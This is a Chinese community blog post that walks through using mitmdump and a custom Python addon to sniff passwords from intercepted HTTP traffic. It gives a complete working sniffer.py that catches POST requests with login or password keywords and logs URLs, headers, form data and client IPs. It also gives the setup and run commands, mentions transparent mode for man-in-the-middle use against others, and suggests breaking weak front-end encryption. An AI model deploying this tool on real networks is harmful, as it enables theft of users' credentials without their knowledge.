社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

使用 Mitmdump 与 Python 脚本进行密码嗅探

摆码王子 • 5 年前 • 212 次点击  
阅读 7

使用 Mitmdump 与 Python 脚本进行密码嗅探

很久没有写文章了,一是没空,二是几乎忘了还有这回事。这篇应该是年前的最后一发吧!那么今天就来聊一聊我最近关于网络抓包的一些实践(其实我对网络安全领域知之甚少)。当然,大家最熟知的工具可能是 Wireshark,它的功能十分强大。不过它大概不支持热插拔脚本,也就没办法实现完全自有掌控的抓包。于是不就之后,Mitmproxy 这货进入了我的视线,用它可以方便的添加自定义抓取逻辑的 Python 脚本,可以说非常容易扩展,完美的解决了我的需求。这也是写完 Keykee 之后,再一次将这一傻式编程语言应用到生产实践中。

突然想起了自己入行这两年的一个感悟:

程序员有时候应该感谢给自己提需求的人。

Mitmdump 是 Mitmproxy 的一个分支,它就是实现根据自定义的脚本进行 dump 的核心工具。如果就是在自己机器上玩一玩的话,使用常规模式 (Regular Mode) 即可。关于 Mitmproxy 这几种模式的详细介绍可以看官方文档,这是常规模式的原理图:

如果有中间人攻击的因素在里面的话需要配合 Linux 的 ip_forward,并且使用 Mitmdump 的透明模式( Transparent Mode),它对客户端来说是不可见的:

通常情况下,常规和透明这两种模式可以满足大部分的实验需求。

Mitmdump 可以通过 pip 安装:

$ pip install mitmproxy
复制代码

安装完之后就可以在任何地方使用 mitmdump 命令操作了。

如果需要抓取 https 请求的话,需要在系统中导入 Mitmproxy 的根证书,如果只在某个浏览器中实验的的话,也可以直接在浏览器中导入。证书的默认位置在 ~/.mitmproxy 目录下。

然后设置系统的网络代理,根据需要设置“对所有协议使用相同代理”。代理 ip 为 127.0.0.1,代理端口为 8080。

这样,准备工作就做好了。

这次尝试编写一个密码嗅探的脚本,前面提到了,它的扩展性非常!!!所以我这里就抛砖引玉了。

sniffer.py

import logging
from mitmproxy import http

password_key = ["password", "pwd", "pass", "passwd", "mm", "passport", "auth", "key", "mima"]
form_login_key = ["check", "login", "verify", "account", "logon", "signin", "denglu"]


class Sniffer:

    def request(self, flow: http.HTTPFlow):
		request = flow.request
		url = request.pretty_url
		form_url = str(request.urlencoded_form)
		if request.method == 'POST':
			if self.any_match(form_login_key, url) or self.any_match(password_key, form_url):
				self.resolve(flow)
                
	def any_match(self, list, str: str):
		lower_str = str.lower()
		for i in list:
			if i in lower_str:
				return True
		return False

	def resolve(self, flow: http.HTTPFlow):
		request = flow.request
		url = request.url
		_from = str(flow.client_conn.ip_address)
		url_form = str(request.urlencoded_form)
		header = str(request.headers)

		logging.info("url: %s \nheader: %s \nform: %s \nip_from: %s", url, header, url_form, _from)

复制代码

Mitmdump 会创建一个 Sniffer 类的实例,并调用 request(flow) 方法,它可以一次插入多个这样的 class,只需要提供一个统一的入口即可:

addons.py

from sniffer import Sniffer

addons = [
	Sniffer()
    # YourSniffer()
    # ...
]
复制代码

最后,执行mitmdump 命令开始抓包:

$ mitmdump -q -s addons.py --set body-size-limit=10k "~m post"
复制代码
  • -q 屏蔽 mitmdump 默认的控制台日志,只显示自己脚本中的
  • -s 入口脚本文件
  • --set body-size-limit=10k 只处理小于 10k 的请求
  • "~m post" 只处理 post 方法的请求

启动之后访问一个自己认为安全性相对较差的站点,进行用户登录的操作,然后控制台里出现了用户名密码等信息,如果经过加密了,找到这个页面的前端代码研究一下加密方式,安全性较差的站点很容易就能搞明白。

最后,欢迎来我的摆码王子的小屋做客!

各位朋友,新春愉快 : )


今天看啥 - 高品质阅读平台
本文地址:http://www.jintiankansha.me/t/wctR3H3rVx
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/28576
 
212 次点击